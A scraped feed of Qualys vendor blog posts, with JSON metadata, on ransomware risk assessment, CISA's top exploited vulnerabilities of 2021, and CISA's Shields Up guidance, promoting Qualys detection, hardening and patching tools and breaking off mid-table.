Critical Ransomware Risk Exposures\n\nIt is a daunting task to get a unified view of multiple critical ransomware exposures together such as internet-facing vulnerabilities, misconfigurations as well as unauthorized software. Qualys Ransomware Risk Assessment & remediation service dashboard enables security teams to see all the internet-facing assets that are exposed to ransomware related vulnerability or misconfiguration and take needed actions in the most impactful way. It also enables users to measure and track their effectiveness at addressing vulnerabilities or misconfigurations before they are used for ransomware attacks. \n\n\n\nIn addition, organizations should implement a good cyber hygiene program to scan vulnerabilities, discovery misconfigurations regularly with sufficient detection capabilities such as QIDs enabled, as well as an efficient automated process to deploy important security patches on targeted assets quickly with the scalability needed. \n\n### Qualys Ransomware Risk Assessment & Remediation Service\n\nQualys provides an all-in-one solution to discover, assess, prioritize, monitor, and patch critical vulnerabilities in real time and across your global hybrid-IT landscape. The following sections provide an overview of each of the critical components from Qualys product portfolio and how they can be uniquely valuable in the effort of combatting ransomware attacks. \n\n#### Detect your critical data assets & monitor security blind-spots with CyberSecurity Asset Management (CSAM) \n\nEnables organizations to automatically discover every asset in their environment, including unmanaged assets appearing on the network, inventory all hardware and software, and classify and tag critical assets. \n\n#### Discover, Inventory and Categorize assets \n\nIt is important to know your blind spots to protect against ransomware. Use CSAM to discover all assets, including the ones that are exposed to the internet as well as unknown/unmanaged assets that are connecting to your network. \n\nCSAM automatically organizes your assets by their functional category by analyzing their hardware and installed software. Extends your inventory by incorporating key business information from your CMDB, such as status, environment, ownership, support groups, and business criticality.\n\n\n\n#### Monitor & detect at-risk assets and applications - Assets missing Anti-virus, running unauthorized software \n\nCSAM enriches your asset inventory with in-context, relevant information to help you detect at-risk assets and applications. You can identify and set alerts for assets that are running unauthorized software or are not using anti-virus/endpoint security tools. \n\n * Unauthorized software should be removed to quickly reduce unnecessary attack vectors. With CSAM you can easily define rules to monitor unauthorized software installations. \n * Identify assets missing required security software, such as Antivirus and Endpoint Protection. \n * Identify EOL/EOS software, which can be used as ransomware attack vectors. End-of-Support software is one of the first things hackers look to exploit because they know publishers are no longer providing security updates and patches. \n\n#### Monitor & detect at-risk assets and applications - Assets missing Anti-virus, running unauthorized software \n\nCSAM enriches your asset inventory with in-context, relevant information to help you detect at-risk assets and applications. You can identify and set alerts for assets that are running unauthorized software or are not using anti-virus/endpoint security tools. \n\n * Unauthorized software should be removed to quickly reduce unnecessary attack vectors. With CSAM you can easily define rules to monitor unauthorized software installations. \n * Identify assets missing required security software, such as Antivirus and Endpoint Protection. \n * Identify EOL/EOS software, which can be used as ransomware attack vectors. End-of-Support software is one of the first things hackers look to exploit because they know publishers are no longer providing security updates and patches. \n\n\n\n### Continuous detection & prioritization for Ransomware-specific vulnerabilities with VMDR \n\nThe first step in managing vulnerabilities and reducing risk is identification of assets. [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) makes it easy to identify systems with open ports. For example, hosts with Remote Desktop Protocol (RDP) enabled. \n\n_operatingSystem.category1:`Windows` and openPorts.port:`3389`_ \n\n\n\nOnce the hosts with RDP are identified, they can be grouped together with a \u2018dynamic tag\u2019, let us say \u2013 \u201cRDP Asset\u201d. This helps in automatically grouping existing hosts with this vulnerability as well as any new hosts that spin up in your environment. Tagging makes these grouped assets available for querying, reporting and management throughout the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>). \n\n### **Discover and Prioritize Ransomware Vulnerabilities** \n\nNow that hosts with \u201cRDP\u201d are identified, you want to detect which of these assets have flagged this vulnerability. VMDR automatically detects new vulnerabilities like Windows RDP, Exchange Server vulnerability and more based on the always updated Knowledgebase. \n\nYou can see all your impacted hosts for this vulnerability tagged with the \u2018Ransomware asset tag in the vulnerabilities view by using this QQL query: \n\n**vulnerabilities.vulnerability.threatIntel.ransomware: true** \n\nOr \n\n**vulnerabilities.vulnerability.ransomware.name:WannaCry** \n\nThis will return a list of all impacted hosts. \n\n\n\nUsing VMDR prioritization, the ransomware vulnerabilities can be easily prioritized using \u201cRansomware\u201d Real-Time Threat Intelligence: \n\n\n\nVMDR also enables you to stay on top of these threats proactively via the \u2018live threat feed\u2019 provided for threat prioritization. With \u2018live feed\u2019 updated for all emerging high and medium risks, you can clearly see the impacted hosts against threats. \n\nSimply click on the impacted assets for the \u201cRansomware\u201d feeds to see the vulnerability and impacted host details.\n\n\n\nQualys provides the ability for a Unified Dashboard approach with the key metrics across all Apps providing key metrics against your overall security posture against Ransomware Related data points such as: \n\n * Ransomware Related vulnerabilities \n * Unauthorized Software \n * Misconfigurations leveraged by ransomware \n * Internet Facing Hosts with RDP vulnerabilities and many more\u2026 \n\nThe Unified Dashboard enabled you to track your ransomware exposure, against impacted hosts, their status, and overall management in real-time. \n\n### **Discover and Mitigate Ransomware Misconfigurations such as SMB, Insecure RDP** \n \n\n[Qualys Policy Compliance](<https://www.qualys.com/apps/policy-compliance/>) provides the Ransomware Best Practices policy which contains the critical controls mapped to MITRE ATT&CK mitigations and tactics recommended by [CISA](<https://us-cert.cisa.gov/ncas/alerts/aa21-131a>) and best practices published by [Fireye Mandiant](<https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/wp-ransomware-protection-and-containment-strategies.pdf>). These mitigations are effective across top techniques and can potentially reduce the risk of ransomware attacks. These critical controls can limit attacker initial access and the lateral movement around the network. \n\nAs organizations look to prevent the attacks from happening in the first place, security teams should focus on implementing these controls proactively and effectively across all assets to reduce the risk. By automating the configuration assessment with Qualys Policy Compliance, organizations can ensure golden images to conform to security baselines and prevent images from ever having misconfigurations and identify configurations drifts to prevent security risks. \n\n#### **Mitigation or Important Precautionary Measures and Controls ** \n\nThe Qualys internal research team has identified top five security measures and configuration controls; a security team should consider for their organization to prevent business interruption from a ransomware attack. Research is based on best practices published by FireEye (Mandiant), Cybersecurity and Infrastructure Security Agency (CISA), and CISA MS-ISAC. Policies/technical controls should be implemented. These configuration checks go beyond typical CIS or DISA benchmarks. \n \n\n 1. Enforce Password Policies. e.g. \n * Minimum password age should be set, \n * Password complexity requirements should be enabled. \n * Enforce password history restrictions. \n 2. Employ best practices for use of Remote Desktop protocol e. g \n * Disable RDP services if not necessary. \n * Close unused RDP ports, Audit the network for systems using RDP. \n * Apply Multifactor authentication. \n * Disable or block Server Message Block (SMB) protocol and remove or disable outdated versions of SMB. \n * RDP account controls \n 3. Employ Network security and Firewalls e.g. \n * Enforce firewall policy rules. \n * Deny all rule and allow only required networks, access. \n * Common ports and protocols that should be blocked. \n 4. Enforce Account Use Policies. E.g. \n * Apply account lockouts after a specified number of attempts. \n * Admin approval requirements. \n * Apply UAC restrictions on network logons etc. \n * Least privileges are assigned to users. \n 5. Keep Software Updated \n * Ensure automatic updates are enabled. \n * Patches, software\u2019s should be installed and updated in a timely manner which includes operating systems, applications, etc. \n\n\n\nQualys research has mapped misconfigurations to the relevant MITRE ATTACK techniques (summarized in the table below) to define 237 configuration checks across five security areas such as RDP hardening, user controls, network, protocol and port configuration security, share and password policies and software update policies, essentially helping organizations proactively prevent 20 attack techniques leveraged in ransomware attacks. \n \n\n**TTP Map** \n\nInitial Access (TA0001)| Credential Access (TA0006)| Privilege Escalation (TA0004)| Execution (TA0002)| Defense Evasion (TA0005)| Lateral Movement (TA0008)| Command and Control (TA0011)| Impact (TA0040) \n---|---|---|---|---|---|---|--- \nValid Accounts (T1078)| Brute Force(T1110)| Abuse Elevation Control Mechanism (T1548)| Scheduled Task / Job (T1053)| Impair Defenses (T1562)| Remote Services (T1021)| Non-Application Layer Protocol (T1095)| Data Manipulation: Transmitted Data Manipulation (T1565.002) \nSupply Chain Compromise (T1195)| | Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002)| Inter-Process Communication (T1559)| Trusted Developer Utilities Proxy Execution (T1127)| Exploitation of Remote Services (T1210)| | \nSupply Chain Compromise: Compromise Software Dependencies and Development Tools (T1195.001)| | Access Token Manipulation (T1134)| | | Remote Services (T1021)| | \n | Unsecured Credentials (T1552)| | | | Remote Services: Remote Desktop Protocol (T1021.001)| | \n | | | | | Remote Services: Remote Desktop Protocol (T1021.002)| | \n | | | | | Remote Service Session Hijacking (T1563)| | \n \n### **Automated Proactive & Reactive Patching for Ransomware vulnerabilities ** \n\nTo keep the ransomware vulnerability patches always up to date on your assets, we strongly encourage users to take advantage of Qualys Zero-Touch Patch that allows users to automatically patch new ransomware-related vulnerabilities which are actively used in attacks. Qualys Zero-Touch Patch enables businesses to patch and address at least 97% of the ransomware related vulnerabilities. Faster and at scale! For more information on Qualys automatic patch capabilities, refer to blog [Automate Vulnerability Remediation with Proactive Zero-Touch Patch](<https://blog.qualys.com/product-tech/2021/09/14/optimize-vulnerability-remediation-with-zero-touch-patch>). \n\nFollowing patch management best practices, using Qualys Patch Management, allows organizations to proactively remediate vulnerabilities related to ransomware and therefore minimize ransomware attacks in their environment. A simple and efficient way to use Qualys patch management to remediate ransomware related vulnerabilities is to leverage the VMDR prioritization report, as described in a previous section, this report can be used to detect assets with ransomware related vulnerabilities. The tight integration between Qualys VMDR and Patch Management allows customers to add those ransomware related vulnerabilities directly from the prioritization report into a patch job. The Qualys engine will automatically map the selected vulnerabilities to the relevant patches, in the customer\u2019s environment, that are required to remediate the vulnerabilities. This will allow IT teams to focus on deploying those patch jobs without the need to worry about researching vulnerabilities and manually finding the relevant patches for those vulnerabilities.\n\n\n\n### **Ready to Learn more and see for yourself?** \n\n[Join the webinar](<https://event.on24.com/wcc/r/3433269/88DA8B72F4DE260B0DE22B7E5632ACBB>), Combating Risk from Ransomware Attacks, to discuss the current state of ransomware and prevention techniques. Webinar October 21, 2021, at 10am Pacific. Sign up now! \n\n**Resources** \n \n\n * [Press Release](<https://www.qualys.com/company/newsroom/news-releases/usa/qualys-launches-ransomware-risk-assessment-service/>) \n * [Ransomware Assessment Service Video](<https://vimeo.com/617379785/>) \n * [Research Powered Qualys Ransomware Risk Assessment & Remediation service](<https://blog.qualys.com/product-tech/2021/10/05/assess-risk-ransomware-attacks-qualys-research>) \n * [Try Qualys Ransomware Risk Assessment Service](<https://www.qualys.com/forms/ransomware/>) \n * Learn more about the research and see the Qualys Ransomware Risk Assessment & Remediation service in action by attending the [webinar](<https://event.on24.com/wcc/r/3433269/88DA8B72F4DE260B0DE22B7E5632ACBB>) \n\n### References\n\n<https://www.ic3.gov/Content/PDF/Ransomware_Fact_Sheet.pdf> <https://www.ic3.gov/Media/Y2019/PSA191002> <https://www.ic3.gov/Media/PDF/AnnualReport/2020_IC3Report.pdf>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-05T12:50:00", "type": "qualysblog", "title": "The Rise of Ransomware", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-2551", "CVE-2015-8651", "CVE-2016-1019", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2020-1472", "CVE-2021-26855", "CVE-2021-27065", "CVE-2021-30116", "CVE-2021-34527"], "modified": "2021-10-05T12:50:00", "id": "QUALYSBLOG:CD2337322AF45A03293696D535E4CBF8", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-11T05:29:14", "description": "_The U.S. Cybersecurity & Infrastructure Security Agency has published its report on the top exploited vulnerabilities of 2021. This blog summarizes the report\u2019s findings and how you can use Qualys VMDR to automatically detect and remediate these risks in your enterprise environment._\n\nThe Cybersecurity & Infrastructure Security Agency (CISA) releases [detailed alerts](<https://www.cisa.gov/uscert/ncas/alerts>) of critical vulnerabilities and threats when warranted. These alerts cover the most exploited security vulnerabilities and provide critical insights into the type, nature, and vendor product affected, as well as recommended mitigations that enterprise IT/security professionals can take to reduce their risk.\n\nTo that end, CISA has released its [2021 Top Routinely Exploited Vulnerabilities Report](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>). It provides in-depth details of each exploited CVE, including which threat actors aggressively targeted both public and private sector organizations worldwide. It also provides mitigation guidance for all the top vulnerabilities.\n\nOf special interest in the report is this key finding by CISA:\n\n_Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability's disclosure, likely facilitating exploitation by a broader range of malicious actors._\n\n### CISA\u2019s Top 15 Routinely Exploited Vulnerabilities of 2021\n\nThe top 15 routine vulnerability exploits observed by cybersecurity authorities in the U.S., Australia, Canada, New Zealand, and the U.K. are:\n\nCVE| Vulnerability Name| Vendor and Product| Type \n---|---|---|--- \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)| [Log4Shell](<https://www.qualys.com/log4shell-cve-2021-44228/>) | Apache Log4j| Remote code execution (RCE) \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)| | Zoho ManageEngine AD SelfService Plus| RCE \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)| ProxyShell| Microsoft Exchange Server| Elevation of privilege \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)| ProxyShell| Microsoft Exchange Server| RCE \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)| ProxyShell| Microsoft Exchange Server| Security feature bypass \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)| | Atlassian Confluence Server and Data Center| Arbitrary code execution \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)| | VMware vSphere Client| RCE \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)| [ZeroLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2020/09/15/microsoft-netlogon-vulnerability-cve-2020-1472-zerologon-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Netlogon Remote Protocol (MS-NRPC)| Elevation of privilege \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)| | Microsoft Exchange Server| RCE \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)| | Pulse Secure Pulse Connect Secure| Arbitrary file reading \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)| | Fortinet FortiOS and FortiProxy| Path traversal \n \n### Highlights of Top Vulnerabilities Cited in CISA 2021 Report\n\nBased on the analysis of this report by the Qualys Research Team, let\u2019s review a few of the top vulnerabilities on the 2021 list and our recommendations for how Qualys enterprise customers can detect and respond to them.\n\n#### Log4Shell Vulnerability\n\nThe Log4Shell vulnerability **(CVE-2021-44228)** was disclosed in December 2021. It was widely exploited by sending a specially crafted code string, which allowed an attacker to execute arbitrary Java code on the server and take complete control of the system. Thousands of products used Log4Shell and were vulnerable to the Log4Shell exploitation.\n\nVisit the [Qualys Log4Shell website](<https://www.qualys.com/log4shell-cve-2021-44228/>) for full details on our response to this threat.\n\n### ProxyShell: Multiple Vulnerabilities\n\nThe multiple vulnerabilities called ProxyShell **(CVE-2021-34523, CVE-2021-34473, CVE-2021-31207)** affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., via "vulnerability chaining") enables a remote actor to execute arbitrary code and privilege escalation.\n\n### ProxyLogon: Multiple Vulnerabilities\n\nThe multiple vulnerabilities named ProxyLogon **(CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065)** also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination allows an unauthenticated threat actor to execute arbitrary code on vulnerable Exchange Servers, which enables the attacker to gain persistent access to files, mailboxes, and credentials stored on the servers.\n\n[Read our blog](<https://blog.qualys.com/product-tech/2021/03/10/security-advisory-mitigating-the-risk-of-microsoft-exchange-zero-day-proxylogon-vulnerabilities>) on this threat.\n\n#### Confluence Server and Data Center Vulnerability\n\nAn Object Graph Navigation Library injection vulnerability **(CVE-2021-26084)** exists in Confluence Server that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.\n\n#### Top Vulnerabilities of 2020 Persist\n\nThree additional vulnerabilities **(CVE-2020-1472, CVE-2018-13379, CVE-2019-11510)** were part of the routinely exploited [top vulnerabilities of 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>) list but continued to be exploited well into 2021.\n\n### How Can Qualys Help?\n\nThe Qualys Research Team stays on top of CISA\u2019s vulnerability reports by mapping and releasing our QIDs as needed. The goal is to provide our enterprise customers with complete visibility into risk across their organizations.\n\n#### Detect CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\n[Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) provides coverage for all 15 vulnerabilities described in the CISA report. [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) can automatically patch all Windows-related vulnerabilities which account for 60% of the 15 vulnerabilities. Organizations can quickly reduce the risk from these vulnerabilities. Organizations can quickly reduce the risk from these vulnerabilities.\n\nUsing VMDR and Qualys Query Language (QQL) lets you easily detect all your assets that are vulnerable to the top 15.\n\nUse this QQL statement:\n \n \n vulnerabilities.vulnerability.cveIds:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nView vulnerabilities be severity in Qualys VMDR\n\nQualys Unified Dashboard provides a comprehensive view of the top 15 exploited vulnerabilities as they affect your entire enterprise environment. The dashboard allows the security team to keep track of each vulnerability as they may propagate across multiple assets in your infrastructure.\n\nDashboard CISA: Alert (AA22-117A) | Top 15 Routinely Exploited\n\nQualys Unified Dashboard\n\n#### Prioritize CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\nQualys VMDR makes it easy to prioritize the top 15 exploited vulnerabilities affecting your company\u2019s internet-facing assets. To do so, apply the tag \u201cInternet Facing Assets\u201d in the Prioritization tab. You can add tags like "Cloud Environments", "Type: Servers", "Web Servers", and "VMDR-Web Servers" to increase your scope of assets.\n\nUse this QQL statement:\n \n \n vulnerabilities.vulnerability.cveIds:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nPrioritizing vulnerabilities for remediation in Qualys VMDR\n\n#### Remediate CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\nQualys Patch Management offers out-of-the-box support for patching multiple CISA vulnerabilities. Patch Management also provides patches for many Microsoft, Linux, and third-party application vulnerabilities.\n\nTo view the patchable QIDs, enable the "Show only Patchable" toggle button. After that, you can configure the patch job to patch the relevant QIDs and their respective associated CVEs.\n\nUsing Qualys Patch Management to apply patches\n\nQualys Patch Management also provides the ability to deploy custom patches. The flexibility to customize patch deployment allows you to patch all the remaining CVEs in your patching to-do list.\n\nTo get a view of all available patches for CISA\u2019s top 15 exploitable vulnerabilities of 2021, go to the Patch Management application and run this QQL statement in the Patches tab:\n \n \n cve:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nViewing available patches in Qualys Patch Management\n\nFor additional patch details about vulnerabilities reported by CISA, please see the [Appendix](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) of the CISA report.\n\n### Getting Started\n\nReady to get started? Learn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-05-06T12:19:24", "type": "qualysblog", "title": "CISA Alert: Top 15 Routinely Exploited Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2020-0688", "CVE-2020-1472", "CVE-2021-21972", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228"], "modified": "2022-05-06T12:19:24", "id": "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-04T01:27:17", "description": "**_CISA has created Shields Up as a response to the Russian invasion of Ukraine. Qualys is responding with additional security, monitoring and governance measures. This blog details how and what our enterprise customers can do to immediately strengthen their security posture and meet CISA\u2019s recommendations._**\n\nWith the invasion of Ukraine by Russia, the U.S. Cybersecurity & Infrastructure Security Agency (CISA) has created a [program titled Shields Up](<https://www.cisa.gov/shields-up>) and provided specific guidance to all organizations. The Russian government has used cyber operations as a key component of force projection in the past and has targeted critical infrastructure to destabilize a governments\u2019 response capabilities. Critical infrastructure can include supply chain (including software supply chain), power, utilities, communications, transportation, and government and military organizations.\n\n### Protecting Customer Data on Qualys Cloud Platform****\n\nQualys is strongly committed to the security of our customers and their data. In addition to proactive risk mitigation with continuous patch and configuration management, we continually monitor all our environments for any indication of active threats, exploits and compromises. We hold our platforms to the highest security and compliance mandates like [FedRAMP](<https://blog.qualys.com/product-tech/2022/02/24/meet-fedramp-compliance-with-qualys-cloud-platform>). However, given the heightened risk environment around the globe, the Qualys Security and Engineering teams have been at a heightened state of vigilance in recent weeks. We continuously monitor our internal systems in this amplified threat environment. We are working with our security partners to access the latest threat intel. We have implemented additional security, monitoring, and governance measures involving our senior leadership and are committed to ensuring that the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>) remains available and secure to support the enterprises we serve worldwide.\n\n### Urgent: Assess and Heighten Your Security Posture\n\nBased on high-level guidelines provided by CISA, Qualys is recommending all organizations to establish the following actionable steps to adopt heightened cybersecurity posture to protect critical assets.\n\nThere are 4 steps necessary to strengthen security posture per CISA\u2019s Shields Up guidance: \n\n\n * Step 1: Know Your Shodan/Internet Exposed Assets Automatically\n * Step 2: Detect, Prioritize, and Remediate CISA's Catalog of Known Exploited Vulnerabilities\n * Step 3: Protect Your Cloud Services and Office 365 Environment\n * Step 4: Continuously Detect a Potential Intrusion\n\n* * *\n\n****Implement CISA\u2019s Shields Up Guidance****\n\n[Try it Now](<https://www.qualys.com/forms/cisa-shields-up-service/>)\n\n* * *\n\n### Step 1: Monitor Your Shodan/Internet Exposed Assets \n\n\n#### Discover and protect your external facing assets \n\n\nAn organization\u2019s internet-facing systems represent much of their potential attack surface. Cyber threat actors are continuously scanning the internet for vulnerable systems to target attacks and campaigns. Often hackers find this information readily available on the dark web or in plain sight on internet search engines such as Shodan.io.\n\nInventory all your assets and monitor your external attack surface. [Qualys CyberSecurity Asset Management (CSAM)](<https://www.qualys.com/apps/cybersecurity-asset-management/>) provides comprehensive visibility of your external-facing IT infrastructure by natively correlating asset telemetry collected by Qualys sensors (e.g. Internet Scanners, Cloud Agents, Network Passive Sensors) and key built-in integrations such as [Shodan.io](<https://blog.qualys.com/vulnerabilities-threat-research/2021/12/20/qualys-integrates-with-shodan-to-help-map-the-external-attack-surface>) and Public Cloud Providers.\n\nOne of the biggest risks is unknown unknowns. These gaps in visibility happen for many reasons \u2013 including shadow IT, forgotten websites, legacy services, mergers & acquisitions (M&A), or simply because a development team exposes an application or database without informing their security team.\n\nCSAM enables you to continuously discover these blind spots and assess their security and compliance posture.\n\n\n\n#### Monitor Industrial Control Systems and Operational Technology\n\nNetwork segmentation traditionally kept Industrial Control Systems air-gapped. However, the acceleration of digital transformation has enabled more of these systems to connect with corporate as well as external networks, such as device vendors and Industrial IoT platforms. Further, the majority of Operational Technology utilizes legacy, non-secure protocols.\n\nBuild full visibility of your critical infrastructure, network communications, and vulnerabilities with Qualys Industrial Control Security (ICS).\n\n\n\n#### Detect and disable all non-essential ports and protocols, especially on internet exposed assets\n\nInventory your internal and external-facing assets, report open ports, and detected services on each port. Qualys CSAM supports extensive query language that enables teams to report and act on detected external facing assets that have a remote-control service running (for example Windows Remote Desktop). \n\n\n\n#### Ensure all systems are protected with up-to-date antivirus/anti-malware software****\n\nFlag assets within your inventory that are missing antivirus, or with signatures that are not up to date. CSAM allows you to define Software Rules and assign required software on a specific scope of assets or environment. For example, all database servers should have antivirus and a data loss prevention agent.\n\n\n\nVerify that your antivirus/anti-malware engine is up to date with the latest signatures.\n\n\n\nFor devices missing antivirus or anti-malware, [Qualys Multi-Vector EDR](<https://www.qualys.com/apps/endpoint-detection-response/>) with Integrated Anti-Malware can be easily enabled wherever the Qualys Cloud Agent is installed to provide immediate threat protection. In addition to basic anti-malware protection, Multi-Vector EDR will monitor endpoint activity to identify suspicious and malicious activity that usually bypasses traditional antivirus such as Living-off-the-Land attacks as well as MITRE ATT&CK tactics and techniques.\n\n### Step 2: Detect, Prioritize and Remediate CISA's Catalog of Known Exploited Vulnerabilities\n\nQualys Researcher analyzed all the 300+ CVEs from CISA known exploited vulnerabilities and mapped them to the Qualys QIDs. Many of these CVEs have patches available for the past several years. A new \u201cCISA Exploited\u201d RTI was added to VMDR to help customers create vulnerabilities reports that are focused on CISA exploited vulnerabilities. Customers can use the VMDR vulnerabilities page or VMDR prioritization page and filter the results to focus on all the \u201cCISA Exploited\u201d open vulnerabilities in their environment. \n\nFollowing are some of the critical vulnerabilities cataloged by CISA, as specifically known to be exploited by Russian state-sponsored APT actors for initial access include:\n\n**CVE**| **QID**| **Title**| **Release Date**| **CVSS_V3** \n---|---|---|---|--- \nCVE-2018-13379| 43702| Fortinet Fortigate (FortiOS) System File Leak through Secure Sockets Layer (SSL) Virtual Private Network (VPN) via Specially Crafted Hypertext Transfer Protocol (HTTP) Resource Requests (FG-IR-18-384)| 9/12/2019| 9.8 \nCVE-2019-2725| 87386| Oracle WebLogic Server Remote Code Execution Vulnerability (Oracle Security Alert Advisory - CVE-2019-2725)| 4/27/2019| 9.8 \nCVE-2019-7609| 371687| Kibana Multiple Security Vulnerabilities (ESA-2019-01,ESA-2019-02,ESA-2019-03)| 4/18/2019| 10 \nCVE-2019-10149| 50092| Exim Remote Command Execution Vulnerability| 6/5/2019| 9.8 \nCVE-2019-11510| 38771| Pulse 